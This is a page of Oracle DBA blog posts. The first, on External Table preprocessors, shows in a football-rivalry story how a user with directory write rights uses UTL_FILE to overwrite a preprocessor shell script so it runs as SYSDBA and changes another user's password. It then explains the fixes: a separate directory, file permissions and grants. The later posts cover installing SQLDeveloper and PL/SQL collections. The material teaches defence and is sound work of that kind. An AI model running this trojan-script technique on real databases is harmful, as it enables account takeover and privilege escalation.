Skip navigation.

The Anti-Kyte

Syndicate content The Anti-Kyte
Oracle - for when it was like that when you got there
Updated: 2 hours 14 min ago

Oracle External Table Pre-processing – Soccer Super-Powers and Trojan Horses

Sat, 2014-04-12 08:41

The end of the European Football season is coming into view.
In some leagues the battle for the title, or against relegation is reaching a peak of intensity.
Nails are being bitten throughout the continent…unless you are a fan of one of those teams who are running away with their League – Bayern Munich, Juventus, Celtic…Luton Town.
In their fifth season since relegation from the Football League to the Conference, Luton are sitting pretty in the sole automatic promotion place.
Simon is desparately attempting to balance his “lucky” Christmas-cracker moustache until promotion is mathematically certain. Personally, I think that this is taking the concept of keeping a stiff upper-lip to extremes.

"I'll shave it off when we're definitely up !"

“I’ll shave it off when we’re definitely up !”

With the aid of a recent Conference League Table, I’m going to explore the Preprocessor feature of External Tables.
We’ll start with a simple example of how data in an External Table can be processed via a shell script at runtime before the results are then presented to the database user.
We’ll then demonstrate that there are exceptions to the rule that “Simple is Best” by driving a coach and Trojan Horses through the security hole we’ve just opened up.
Finally, in desperation, we’ll have a read of the manual and implement a more secure version of our application.

So, without further ado…

External (league) Table Preprocessing

We have the league table in a csv called conference_table.csv :

Team, Played, Points, Goal Difference
luton town,32,55,72
cambridge utd,31,25,58
barnet,34,11,57
alfreton town,33,0,57
salisbury city,33,0,53
nuneaton town,34,-4,53
gateshead,34,7,51
kidderminster harriers,32,4,50
grimsby town,29,13,49
halifax town,34,10,48
macclesfield town,31,6,47
welling united,32,6,46
forest green,30,14,44
wrexham,33,0,43
lincoln city,34,-4,43
braintree town,27,9,42
woking,34,-11,42
hereford united,33,-11,39
chester,33,-17,35
southport,33,-20,34
aldershot town,32,5,33
dartford,34,-19,33
tamworth,32,-21,29
hyde,34,-58,9

In order to load this data into an External Table, we’ll need a Directory Object in the database that points to an OS directory where this file is located.
In this case, we have a Directory Object called MY_FILES which has been created thus :

CREATE OR REPLACE DIRECTORY my_files AS
    '/u01/app/oracle/my_files'
/

If we now want to access the data in this file, we simply need to copy it to the OS directory pointed to by our Directory Object, make sure that the ORACLE os user can read the file, and then point an external table at it.
So…

cp conference_table.csv /u01/app/oracle/myfiles/.
chmod a+r conference_table.csv

Just to check :


ls -l conference_table.csv

-rw-r--r-- 1 mike   mike     571 Mar 27 13:20 conference_table.csv

As you can see, whilst oracle does not own this file it will have read access to it, as will any other OS user.

And as for our common-or-garden External Table :

CREATE TABLE conference_tab_xt
(
    team varchar2(50),
    played number(2),
    goal_difference number(4),
    points number(3)
)
    ORGANIZATION EXTERNAL
    (
        TYPE oracle_loader
        DEFAULT DIRECTORY my_files
        ACCESS PARAMETERS
        (
            RECORDS DELIMITED BY NEWLINE
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            )
        )
            LOCATION('conference_table.csv')
    )
REJECT LIMIT UNLIMITED
/

Using this, we can now see just who is top of the pile in the Conference…

SELECT team
FROM mike.conference_tab_xt
WHERE points = ( SELECT MAX(points) FROM conference_tab_xt)
/

TEAM
--------------------------------------------------
luton town

SQL> 

So far, so good. However, say we wanted to ensure that all of the team names were in upper case when they were loaded into the database ?
OK, this is a fairly trivial requirement, but it does give me the excuse to knock up a simple demonstration of how to implement a Preprocessor for this file.

The shell script to achieve this is relatively simple. If we were just going to run it from the OS, it would look something like this :

#!/bin/sh
cat $1 |tr '[:lower:]' '[:upper:]'

The argument passed into the script is the name of the csv file.
In order to make this script suitable for our purposes however, we’ll need to modify it a bit.
Bear in mind that both the cat and tr commands are executed based on what’s in the $PATH variable of the session in which the script is running.
As we can’t guarantee that this variable will be set at run time when the script is invoked from the database, we need to fully qualify the path to these executables.
If you need to work out the path to these executables, you can simply run the following at the command line :

$ which cat
/bin/cat
$ which tr
/usr/bin/tr

Now we can amend the script to read :

#!/bin/bash
/bin/cat $1|/usr/bin/tr '[:lower:]' '[:upper:]'

I’ve created this file as the oracle os user and saved it into the same directory as the csv file.
What could possibly go wrong ? We’ll come back to that in a bit.

For now, all we need to do is to make the file executable :

chmod u+x toupper.sh
ls -l toupper.sh
-rwxr--r-- 1 oracle dba 58 Apr  7 19:30 toupper.sh

Now, finally, we can re-create our External Table as follows :

DROP TABLE conference_tab_xt
/

CREATE TABLE conference_tab_xt
(
    team varchar2(50),
    played number(2),
    goal_difference number(4),
    points number(3)
)
    ORGANIZATION EXTERNAL
    (
        TYPE oracle_loader
        DEFAULT DIRECTORY my_files
        ACCESS PARAMETERS
        (
            RECORDS DELIMITED BY NEWLINE
            PREPROCESSOR my_files : 'toupper.sh'
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            )
        )
            LOCATION('conference_table.csv')
    )
REJECT LIMIT UNLIMITED
/

Seems reasonable. After all, minimizing the number of Directory Objects in the database will also minimize the number of possible entry points for any would be directory based attacks right ? Hmmm.

Anyway, we can now check that the preprocessor does it’s work by re-issuing our query :

SELECT team
FROM mike.conference_tab_xt
WHERE points = ( SELECT MAX(points) FROM mike.conference_tab_xt)
/

TEAM
--------------------------------------------------
LUTON TOWN

Well, that all seems to work perfectly. But is it secure ?

Footballing rivalry in the database

To demonstrate the sort of problems that you could encounter with this External Table as it’s currently defined, we need to return to the land of the Trojan Horse.

Consider two users who need access to the External table we’ve just created.
We’ll call them Achilles and Hector.
If you really want a back-story, Hector is a keen Olympiakos fan, basking in the glory of their runaway lead at the top of the Greek Super League. Achilles supports Panathinaikos and is a bit fed-up with Hector giving it large about how great his team is. The fact that matches between the two teams are referred to as The Derby of the Eternal Enemies adds and extra frisson of tension around the office.

Both of them have the CREATE SESSION privileges and have been granted the DATA_PROCESS_ROLE, which is created as follows :

CREATE ROLE data_process_role
/

GRANT SELECT ON mike.conference_tab_xt TO data_process_role
/

GRANT READ, WRITE, EXECUTE ON DIRECTORY my_files TO data_process_role
/

GRANT EXECUTE ON UTL_FILE TO data_process_role
/

Just in case you want to play along, the two users have been created like this :

CREATE USER hector identified by pwd
/

GRANT CREATE SESSION, data_process_role TO hector
/

CREATE USER achilles identified by pwd
/

GRANT CREATE SESSION, data_process_role TO achilles
/

A point to note here is that the EXECUTE permission on the Directory Object is required for users to be able to access preprocessor program.

Achilles has decided to take Hector down a peg or two by creating a bit of mischief. He’s heard about this external table pre-processing and wonders if he might be able to use it to help him in his plan.

Before he sets about building his Wooden Horse, Achilles does some planning…

Planning the attack

First, Achilles finds out about the privileges he currently has :

SELECT privilege
FROM session_privs;

PRIVILEGE                              
----------------------------------------
CREATE SESSION               

SQL> SELECT owner, table_name, privilege
  2  FROM role_tab_privs
  3  ORDER BY table_name;

OWNER		     TABLE_NAME 	  PRIVILEGE
-------------------- -------------------- --------------------
MIKE		     CONFERENCE_TAB_XT	  SELECT
SYS		     MY_FILES		  EXECUTE
SYS		     MY_FILES		  READ
SYS		     MY_FILES		  WRITE
SYS		     UTL_FILE		  EXECUTE

Looks like the CONFERENCE_TAB_XT might be the type of external table he’s looking for.
He checks this in his IDE ( SQLDeveloper in this case).
Open the object and ask for the source SQL and :

-- Unable to render TABLE DDL for object MIKE.CONFERENCE_TAB_XT with DBMS_METADATA attempting internal generator.
CREATE TABLE MIKE.CONFERENCE_TAB_XT 
(
  TEAM VARCHAR2(50 BYTE) 
, PLAYED NUMBER(2, 0) 
, GOAL_DIFFERENCE NUMBER(4, 0) 
, POINTS NUMBER(3, 0) 
) 
ORGANIZATION EXTERNAL 
( 
  TYPE ORACLE_LOADER 
  DEFAULT DIRECTORY MY_FILES 
  ACCESS PARAMETERS 
  ( 
    RECORDS DELIMITED BY NEWLINE
            PREPROCESSOR MY_FILES : 'toupper.sh'
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            ) 
  ) 
  LOCATION 
  ( 
    MY_FILES: 'conference_table.csv' 
  ) 
) 
REJECT LIMIT 0

Now Achilles can see that this is indeed an External Table. The file on which it’s based resides in the MY_FILES directory, hence the READ/WRITE privileges on that directory.
There is also a preprocessor for the table. This also resides in the MY_FILES directory, hence the EXECUTE privilege he’s been granted.

The final step in the planning process is to find out what the toupper.sh script does.
As he’s got READ and WRITE to the Directory, Achilles can do this :

set serveroutput on size unlimited
DECLARE
--
-- Script to read a file from a directory
--
    l_fp UTL_FILE.FILE_TYPE;
    l_buffer VARCHAR2(32767);
BEGIN 
    l_fp := UTL_FILE.FOPEN
    (
        location => 'MY_FILES',
        filename => 'toupper.sh',
        open_mode => 'R'
    );
    --
    -- Now output the contents...
    --
    BEGIN
        LOOP
            UTL_FILE.GET_LINE(l_fp, l_buffer);
            DBMS_OUTPUT.PUT_LINE(l_buffer);
        END LOOP;
    EXCEPTION
        WHEN NO_DATA_FOUND THEN
            NULL;
    END;
END;
/

He saves the code to a file called read_shell_script.sql. When he runs it :

SQL> @read_shell_script.sql
#!/bin/sh
/bin/cat $1|/usr/bin/tr '[:lower:]' '[:upper:]'

PL/SQL procedure successfully completed.

SQL> 
Wheeling the horse to the gates…

Achilles now has all the information required to implement his attack.
At this point, he could do whatever he wanted. Remember, the shell script is executed as the oracle user on the os. The oracle user that owns the database.

What he actually decides to do is…

DECLARE
    l_fp UTL_FILE.FILE_TYPE;
    l_buffer VARCHAR2(32767);
BEGIN 
    l_fp := UTL_FILE.FOPEN
    (
        location => 'MY_FILES',
        filename => 'toupper.sh',
        open_mode => 'W'
    );
    --
    -- Now write the new and "improved" script
    --
    UTL_FILE.PUT_LINE(l_fp, '#!/bin/sh');
    UTL_FILE.PUT_LINE(l_fp, '/u01/app/oracle/product/11.2.0/xe/bin/sqlplus -s / as sysdba <<- END_SCRIPT');
    UTL_FILE.PUT_LINE(l_fp, 'set feedback off');
    UTL_FILE.PUT_LINE(l_fp, 'alter user hector identified by Panathinaikos_no1_nuff_said;');
    UTL_FILE.PUT_LINE(l_fp, 'quit;');
    UTL_FILE.PUT_LINE(l_fp, 'END_SCRIPT');
    UTL_FILE.PUT_LINE(l_fp, '/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]');
    UTL_FILE.FFLUSH(l_fp);
    UTL_FILE.FCLOSE(l_fp);
END;
/

This works as expected. After all, as well as Achilles having write access to the MY_FILES directory object in the database, the oracle user on the OS also has write privileges on the toupper.sh file.
Anyway, once this code has run, the shell script now looks like this :

#!/bin/sh
/u01/app/oracle/product/11.2.0/xe/bin/sqlplus -s / as sysdba <<- END_SCRIPT
set feedback off
alter user hector identified by panathinaikos_1970_nuff_said;
quit;
END_SCRIPT
/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]

Of course, being a Trojan, the program hasn’t done anything yet. Achilles leaves everything as is at the moment.

A short while later, Hector decides to find out how things look at the top of the Conference ( he’s a bit of a European Football geek, truth be told) :

SELECT team, pld, pts, gd
FROM
(
  SELECT team, played as pld, points as pts, goal_difference as gd,
    RANK() OVER( ORDER BY points DESC, goal_difference DESC) as position
    FROM mike.conference_tab_xt
  )
  WHERE position < 6
/

The query works as expected and Hector is none-the-wiser. Next time he goes to login howerver, he gets an unpleasant surprise :

$ sqlplus hector

SQL*Plus: Release 11.2.0.2.0 Production on Thu Apr 10 18:48:03 2014

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Enter password: 
ERROR:
ORA-01017: invalid username/password; logon denied


Enter user-name: 

After a couple of days of the DBA getting annoyed at Hector because he can’t “remember” his password, Achilles simply changes the script back :

DECLARE
--
-- Script to reset toupper.sh to it's original contents
--
    l_fp UTL_FILE.FILE_TYPE;
    l_buffer VARCHAR2(32767);
BEGIN 
    l_fp := UTL_FILE.FOPEN
    (
        location => 'MY_FILES',
        filename => 'toupper.sh',
        open_mode => 'W'
    );
    UTL_FILE.PUT_LINE(l_fp, '#!/bin/sh');
    UTL_FILE.PUT_LINE(l_fp, '/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]');
    UTL_FILE.FFLUSH(l_fp);
    UTL_FILE.FCLOSE(l_fp);
END;
/
When all else fails – Read the Manual

Clearly the solution we’ve implemented here has one or two issues.
On reflection, it might have been quite a good idea to look at the documentation on the subject of preprocessor security.

From this, we can see that there a number of steps we can take to prevent this sort of attack.

Keeping preprocessors separate from data files

As things stand, our database users have full permissions on the MY_FILES directory object.
However, the EXECUTE privilege is only necessary because they need to execute the preprocessor program.
So, if we created a separate directory object just for the preprocessor, that should solve the problem right ?
Well, it depends.
Remember, there is nothing to stop you having multiple directory objects in the database pointing to a single OS directory.
We want to make sure that it is not possible for our users to write to the preprocessor file from within the database.
To do this, we need an additional Directory Object pointing to a different OS directory.

So, the first step then is to create the OS directory and then a Directory Object in the database that points to it :

sudo su oracle
mkdir /u01/app/oracle/pre_proc_dir

…and the new Directory Object :

CREATE DIRECTORY pre_proc_dir AS
    '/u01/app/oracle/pre_proc_dir'
File permissions on the OS

Once we’ve done this, we can re-create toupper.sh in our new preprocessor OS directory and remove it from it’s original location.
Whilst we’re doing this, it’s probably worth bearing in mind that the oracle OS user only needs execute permissions on the file.
There’s nothing to stop it being owned by a different OS user. So, for example, I could create toupper.sh as mike and do the following :

chmod a+x toupper.sh
ls -l toupper.sh
-rwxr-xr-x 1 mike dba 244 Mar 28 14:19 toupper.sh

Now, whilst the oracle user can still execute (and read) the file, it cannot write to it. So, even if a user has write permissions on the PRE_PROC_DIR directory object in the database, they won’t be able to change the file itself.

The next step is to re-create our External Table to use the new preprocessor location :

DROP TABLE conference_tab_xt
/

CREATE TABLE conference_tab_xt
(
    team varchar2(50),
    played number(2),
    goal_difference number(4),
    points number(3)
)
    ORGANIZATION EXTERNAL
    (
        TYPE oracle_loader
        DEFAULT DIRECTORY my_files
        ACCESS PARAMETERS
        (
            RECORDS DELIMITED BY NEWLINE
            PREPROCESSOR pre_proc_dir : 'toupper.sh'
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            )
        )
            LOCATION('conference_table.csv')
    )
REJECT LIMIT UNLIMITED
/
Directory Object grants

Finally, we need to modify the grants to the DATA_PROCESS_ROLE so that users can still access the table :

REVOKE EXECUTE ON DIRECTORY my_files FROM data_process_role
/
GRANT EXECUTE ON DIRECTORY pre_proc_dir TO data_process_role
/
-- re-grant select on the table as we've re-created it...
GRANT SELECT ON mike.conference_tab_xt TO data_process_role
/

Let’s see how (and indeed, whether) these changes prevent this kind of attack.

Achilles’ privileges have changed :

OWNER                          TABLE_NAME                     PRIVILEGE                              
------------------------------ ------------------------------ ----------------------------------------
MIKE                       CONFERENCE_TAB_XT SELECT                              
SYS                         MY_FILES                READ                                
SYS                         MY_FILES                WRITE                               
SYS                         PRE_PROC_DIR       EXECUTE                           
SYS                         UTL_FILE                 EXECUTE                           

Now when he comes to read or write the shell script it’s located in PRE_PROC_DIR, a directory to which he only has EXECUTE privileges. Now, he’ll get :

ORA-29289: directory access denied
ORA-06512: at "SYS.UTL_FILE", line 41
ORA-06512: at "SYS.UTL_FILE", line 478
ORA-06512: at line 10
29289. 00000 -  "directory access denied"
*Cause:    A directory object was specified for which no access is granted.
*Action:   Grant access to the directory object using the command
           GRANT READ ON DIRECTORY [object] TO [username];.
Other points to note

Of course, given a different set of object privileges, it would still be possible for Achilles to cause some mischief by exploiting the External Table preprocessing functionality.
Perhaps the most pertinent privilege here would be CREATE ANY DIRECTORY.
If you have this privilege then you will also have full rights on any Directory that you create. Remember, there is nothing to stop you having multiple Directory Objects that point to a single OS directory.
If Achilles had this privilege, and we had not removed the oracle OS user’s read/write privilege on our preprocessor program, then he could simply have created his own Directory Object in the database and used that to execute the same attack.
The Oracle documentation also mentions some auditing steps that you might consider. In addition to auditing the DROP ANY DIRECTORY privilege, I’d also suggest auditing CREATE ANY DIRECTORY.
I think the other point to note here is that, whilst auditing may serve as a deterrent, it does nothing to actively prevent this kind of thing happening.

As things stand, Luton need only one more win for promotion. Hopefully, Simon’s moustache’s days are strictly numbered.


Filed under: Oracle, PL/SQL, Shell Scripting, SQL Tagged: directory object permissions, external tables, oracle loader, preprocessor, UTL_FILE

Installing SQLDeveloper 4 on Mint and Ubuntu – Minus the Alien

Wed, 2014-03-26 05:57

Deb recently bought a new kettle.
Now, a kettle used to simply boil water and turn itself off when it was done.
Not this thing.
It lights up as it boils and announces the fact that it’s finished with a melodious ping.
It’s got gauges and lights and switches.
I’ve decided that it’s probably a Dalek in disguise.
Like Daleks (or at least, the original Daleks), it can’t go up stairs – or if it can, it’s not advertising the fact.
Every morning, descending to the kitchen is filled with trepidation.
When will the Dalek tire of vaporizing innocent water molecules and move on to World Domination…

Doc-tor ! Doc-tor ! I feel like a ket-tle !

Doc-tor ! Doc-tor ! I feel like a ket-tle !

I wouldn’t be entirely surprised to find that, like most whizzy modern appliances, it runs on Java.
Which brings us, by a fairly circuitous route, to the topic at hand – SQLDeveloper.

Oracle’s latest incarnation of it’s IDE does indeed run on Java – the version 7 JDK to be precise.
In this post, I’ll go through the steps required on Mint to :

  • Install the Java 7 JDK
  • Install SQLDeveloper 4
  • Persuade SQLDeveloper 4 to play nicely with Java
  • Add SQLDeveloper to the Cinnamon Menu

The good news is that we can do all of this without the messy alien conversion of an rpm package to .deb format.

NOTE – I’ve followed these steps on Mint13, but they should be pretty much the same for any Debian Distro.
Anyway, without further ado…

Install Java 7 What’s installed now

Before getting into the installation, it’s probably a good idea to establish what Java version you have at present.
To do this, open a Terminal Window and :

java -version

This will probably return something like :

java version "1.6.0_30"
OpenJDK Runtime Environment (IcedTea6 1.13.1) (6b30-1.13.1-1ubuntu2~0.12.04.1)
OpenJDK 64-Bit Server VM (build 23.25-b01, mixed mode)

Assuming you haven’t got a version that is 1.7.0 or greater, you’re going to need to update it for SQLDeveloper.

Getting the latest and greatest Java version

The easiest way to do this is – courtesy of instructions found here :

sudo add-apt-repository ppa:webupd8team/java

Running this will give you a message similar to the following :

You are about to add the following PPA to your system:
 Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html

Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html
 More info: https://launchpad.net/~webupd8team/+archive/java
Press [ENTER] to continue or ctrl-c to cancel adding it

Hit ENTER and…

Executing: gpg --ignore-time-conflict --no-options --no-default-keyring --secret-keyring /tmp/tmp.HQYZnMcKX0 --trustdb-name /etc/apt/trustdb.gpg --keyring /etc/apt/trusted.gpg --primary-keyring /etc/apt/trusted.gpg --keyserver hkp://keyserver.ubuntu.com:80/ --recv 7B2C3B0889BF5709A105D03AC2518248EEA14886
gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com
gpg: key EEA14886: public key "Launchpad VLC" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)

I’m not sure if the following step is necessary, but I ran it to be on the safe side. Ensure that your packages are up-to-date by running :

sudo apt-get update 

Now for the installation itself…

Installing Java 7

Start by getting the installer :

sudo apt-get install oracle-java7-installer

The output looks like this :

Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  gsfonts-x11
Suggested packages:
  visualvm ttf-baekmuk ttf-unfonts ttf-unfonts-core ttf-kochi-gothic
  ttf-sazanami-gothic ttf-kochi-mincho ttf-sazanami-mincho ttf-arphic-uming
The following NEW packages will be installed
  gsfonts-x11 oracle-java7-installer
0 to upgrade, 2 to newly install, 0 to remove and 31 not to upgrade.
Need to get 26.7 kB of archives.
After this operation, 228 kB of additional disk space will be used.
Do you want to continue [Y/n]? 

Yes, we do want to continue so enter ‘Y’.
At this point you’ll be presented with the following screen :

Takes me back to the early 90's...

Takes me back to the early 90′s…

Hit ENTER and …

Yes, I do want to install DOOM...er...Java

Yes, I do want to install DOOM…er…Java

Use the left arrow key to navigate to Yes and hit ENTER.

You will then get feedback to the effect that it’s downloading stuff. This should end with something like :

Oracle JDK 7 installed
update-alternatives: using /usr/lib/jvm/java-7-oracle/jre/lib/amd64/libnpjp2.so to provide /usr/lib/mozilla/plugins/libjavaplugin.so (mozilla-javaplugin.so) in auto mode.
Oracle JRE 7 browser plugin installed
Setting up gsfonts-x11 (0.22) ...

To check that it’s done what we wanted :

java -version
java version "1.7.0_51"
Java(TM) SE Runtime Environment (build 1.7.0_51-b13)
Java HotSpot(TM) 64-Bit Server VM (build 24.51-b03, mixed mode)
Where’s the JDK ?

At this point, the system is using the java executable from the Java Runtime Environment (JRE).
SQLDeveloper will need to know where the Java Developer Kit (JDK) is located.

You can verify this and find the JDK itself as follows :

which java
/usr/bin/java

If you look at /usr/bin/java you’ll see it’s a symbolic link…which points to another symbolic link…which eventually points to the actual location of the java executable…

ls -l /usr/bin/java
/usr/bin/java -> /etc/alternatives/java
ls -l /etc/alternatives/java
/etc/alternatvies/java -> /usr/lib/jvm/java-7-orale/jre/bin/java

In this case, the Java executable is in the JRE, not the JDK.

Fortunately, the JDK itself is also present. We can find this in :

/usr/lib/jvm/java-7-oracle/bin

We need to keep a note of that directory for when we fire up SQLDeveloper.
Speaking of which…

Getting the right SQLDeveloper

To get the SQLDeveloper download, you will need an Oracle Technet account. Fortunately, this is free.
You can do this by going to the Technet Home Page.

Once you’re set up, go to the SQLDeveloper Downloads Page.

There are a couple of things to note here.
First, the package you need to download is labelled Other Platforms.
Secondly, if you do happen to look at the Release instructions for this package, it will mention JDK 1.6.0_11 or above.
These instructions are out of date in this regard and refer to the previous version of SQLDeveloper.

Anyway, on the download page, click accept License Agreement and click on the Other Platforms Download.

Free you say ? That's my kind of price.

Free you say ? I’ll take it.

At this point, you may be asked to re-enter your Technet credentials.

When prompted by Mint, save the file.

Once completed, go to the Downloads directory and you should see…

cd $HOME/Downloads
ls sqldeveloper-4.0.1.14.48-no-jre.zip
sqldeveloper-4.0.1.14.48-no-jre.zip
Installing SQLDeveloper4

We’re going to install SQLDeveloper under /opt so…

sudo mkdir /opt/sqldeveloper401

Now to copy and extract the zip file …

sudo cp $HOME/Downloads/sqldeveloper-4.0.1.14.48-no-jre.zip /opt/sqldeveloper401/.
cd /opt/sqldeveloper401
sudo unzip sqldeveloper-4.0.1.14.48-no-jre.zip

At this point, the output will look something like this :

...
 inflating: sqldeveloper/svnkit/licenses/COPYING  
  inflating: sqldeveloper/svnkit/licenses/JAVAHL-LICENSE  
  inflating: sqldeveloper/svnkit/licenses/SEQUENCE-LICENSE  
  inflating: sqldeveloper/svnkit/licenses/SQLJET-LICENSE  
  inflating: sqldeveloper/svnkit/licenses/TRILEAD-LICENSE  
  inflating: sqldeveloper/svnkit/licenses/license.txt  
  inflating: sqldeveloper/svnkit/sequence.jar  
  inflating: sqldeveloper/svnkit/sqljet.jar  
  inflating: sqldeveloper/svnkit/svnClientAdapter.jar  
  inflating: sqldeveloper/svnkit/svnjavahl.jar  
  inflating: sqldeveloper/svnkit/svnkit.jar  
  inflating: sqldeveloper/svnkit/trilead.jar  
  inflating: sqldeveloper/view-source-paths.lis  

Once completed, we’re now ready to finalise the configuration.

Setting the Java Path for SQLDeveloper

To do this, we simply need to run SQLDeveloper. The first time it starts, it will ask for a path to the JDK.
This will be the path we figured out earlier. So…

cd /opt/sqldeveloper401/sqldeveloper
sudo chmod+x sqldeveloper.sh
. ./sqldeveloper.sh

When we execute the shell script to start SQLDeveloper we’ll get…

 Oracle SQL Developer
 Copyright (c) 1997, 2014, Oracle and/or its affiliates. All rights reserved.

Type the full pathname of a JDK installation (or Ctrl-C to quit), the path will be stored in /home/mike/.sqldeveloper/4.0.0/product.conf

At this point, we enter the path, minus the bin directory (which SQLDeveloper will look in automatically) :

/usr/lib/jvm/java-7-oracle

If you have a previous version of SQLDeveloper installed, you will be asked if you want to copy all the settings, connections etc to the latest version :

sqldev_import

Finally, SQLDeveloper will start.

Adding SQLDeveloper4 to the Cinnamon Menu

To add SQLDeveloper to the menu…

Right-click the Menu in the bottom left corner of the screen and select Configure :

Mint_Menu_Config

Click the Open the menu editor button.

menu_editor

Select New Item

Name : SQLDeveloper4.0.1
Command : /opt/sqldeveloper4/sqldeveloper/sqldeveloper.sh

Click on the rocket icon and select the sqldeveloper icon at :
/opt/sqldeveloper4/sqldeveloper

Now you should see the SQLDeveloper4.0.1 option under the Programming Menu.

After all that, I feel like a cup of coffee. Now where did I leave that Sonic Screwdriver…


Filed under: Linux, SQLDeveloper Tagged: add-apt-repository, adding an item to the menu in Cinnamon, Debian, finding the JDK, Java 7 install on Mint, SQLDeveloper 4 on Mint, which

PL/SQL Associative Arrays and why too much Rugby is bad for you

Sun, 2014-03-09 05:34

Once upon a time, working on an IT project in a large organisation meant reams of documentation, tangles of red-tape, and then burning the candle at both ends to get everything finished on time.
Then, someone discovered this Agile thing that dispensed with all of that.
The upshot ? Well, the documentation has been reduced ( although the red-tape is still problematic).
Many large organisations now adopt an approach that is almost – but not completely – unlike SCRUM.
It is at the business end of such a project I now find myself…burning the candle at both ends.
To pile on the excitement, Milton Keynes’ own Welsh enclave has become increasingly voiciferous in recent days.
The only SCRUM Deb is interested in is that of the Welsh Rugby Team grinding remorselessly over English bodies come Sunday.
She keeps giving me oh-so-subtle reminders of the result of last year’s game, such as when picking lottery numbers :
“Hmmm, three is supposed to be lucky…but not if your English. How about THIRTY !”
“But you’re married to an Englishman”, I pointed out during one of her more nationalistic moments.
“Which makes him half Welsh !”, came the retort.
At this point, I decided that discretion was the better part of logic and let the matter drop.
As a result of all this frenzied activity and feverish atmosphere, sometimes I’ve not been quite at the top of my game.
One particularly embarassing mishap occured late one evening and involved PL/SQL Tables – or Associative Arrays as they’re called these days – and the dreaded ORA-06531: Reference to uninitialized collection.

This particular post therefore, is mainly a reminder to myself of how to initialize and (just as importantly) clear down a Collection to prevent mysterious missing or, just as problematic, additional, records ( as well as less mysterious runtime errors).

The Insanity Check

At some point, it would be nice to go away somewhere for a weekend of culture (which may or may not include extensive sampling of local alcoholic beverages).
I’ve got a table containing a list of possible destinations…and whether or not they are located in a Rugby playing nation :

CREATE TABLE getaway_plans(
    city_name VARCHAR2(50),
    country_name VARCHAR2(50),
    play_rugby VARCHAR2(1)
)
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('VIENNA', 'AUSTRIA', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('ROME', 'ITALY', 'Y')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('AUCKLAND', 'NEW ZEALAND', 'Y')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('CARDIFF', 'WALES', 'Y')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('BERLIN', 'GERMANY', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('WARSAW', 'POLAND', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('HAVANA', 'CUBA', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('COPENHAGEN', 'DENMARK', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('BRUGES', 'BELGIUM', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('AMSTERDAM', 'NETHERLANDS', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('BASEL', 'SWITZERLAND', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('PERTH', 'AUSTRALIA', 'N')
/

INSERT INTO getaway_plans( city_name, country_name, play_rugby)
VALUES('NEW YORK', 'USA', 'Y')
/

COMMIT;

OK – so a “weekend away” would probably require me finally ironing out the bugs in my lottery number picker program ( it keeps selecting the wrong six numbers).

Using those whizzy associative arrays, I shall now attempt to come up with a shortlist…of places where Rugby is not widely popular.
I will concede that this could be done with far less hassle using a simple select statement. That would, however, defeat the object of the exercise…

CREATE TABLE shortlist_cities
(
    city_name VARCHAR2(50),
    country_name VARCHAR2(50)
)
/

This should do the trick…

DECLARE
    CURSOR c_getaway IS
        SELECT city_name, country_name, play_rugby
        FROM getaway_plans;
    -- associatve array based on the cursor    
    TYPE typ_all_cities is table of c_getaway%ROWTYPE;
    -- and another one based on the target table.
    TYPE typ_shortlist is table of shortlist_cities%ROWTYPE;
    
    tbl_all_cities typ_all_cities;

    tbl_short typ_shortlist;
    l_idx PLS_INTEGER := 0;
BEGIN
    OPEN c_getaway;
    LOOP
        FETCH c_getaway BULK COLLECT INTO tbl_all_cities LIMIT 4;
        EXIT WHEN tbl_all_cities.COUNT = 0;
        DBMS_OUTPUT.PUT_LINE('Bulk Collect Loop Iteration');
        FOR i IN 1..tbl_all_cities.COUNT LOOP
            IF tbl_all_cities(i).play_rugby = 'N' THEN
                l_idx := l_idx + 1;
                tbl_short(l_idx).city_name := tbl_all_cities(i).city_name;
                tbl_short(l_idx).country_name := tbl_all_cities(i).country_name;
            END IF;
        END LOOP;
        FORALL j IN 1..tbl_short.COUNT 
            INSERT INTO shortlist_cities
            VALUES tbl_short(j);
        l_idx := 0;
    END LOOP;
    CLOSE c_getaway;
END;
/

…Kick it off and…

DECLARE
*
ERROR at line 1:
ORA-06531: Reference to uninitialized collection
ORA-06512: at line 23


SQL> 

Yep, our first stumbling block. the TBL_SHORT collection has not been initialized.
Now at this point you may be a bit stumped as there is no obvious way to initialize this collection.
The other collection in the program – TBL_ALL_CITIES seems to have been automatically initialised by the FETCH.
We’ll come back to this in a bit.
In the meantime though, just how do you initialize an Associative Array without pointing a cursor at it ?
The refreshingly simple answer is : add an index clause to the type declaration …

set serveroutput on
DECLARE
    TYPE typ_funny_shaped_balls IS TABLE OF shortlist_cities%ROWTYPE
